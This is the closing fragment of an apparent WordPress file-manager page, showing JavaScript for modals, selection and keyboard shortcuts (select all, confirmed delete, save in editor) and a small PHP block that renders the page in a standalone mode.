$$('.modal').forEach(function(m){ m.addEventListener('click', function(e){ if (e.target === m) m.classList.remove('on'); }); });
document.addEventListener('keydown', function(e){
if (e.target.matches('input, textarea')) return;
if (e.key === 'Escape') $$('.modal.on').forEach(function(m){ m.classList.remove('on'); });
if (e.ctrlKey && e.key === 'a') {
e.preventDefault();
$$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); });
updateSelectionBar();
}
if (e.key === 'Delete') { var s = getSelectedPaths(); if (s.length) confirmDelete(s); }
if (e.ctrlKey && e.key === 's' && $('#editor-modal').classList.contains('on')) { e.preventDefault(); saveEditor(); }
});
}
document.addEventListener('DOMContentLoaded', function(){
bindUI();
bindRowEvents();
updateSelectionBar();
console.log('WP File Manager Pro v9.0.0 [' + (CFG.isStandalone ? 'standalone' : 'wordpress') + ']');
});
})();
</script>
</body>
</html>
<?php
}
// ============================================
// STANDALONE BOOT
// ============================================
if (defined('WPFM_STANDALONE')) {
wpfm_render_page();
}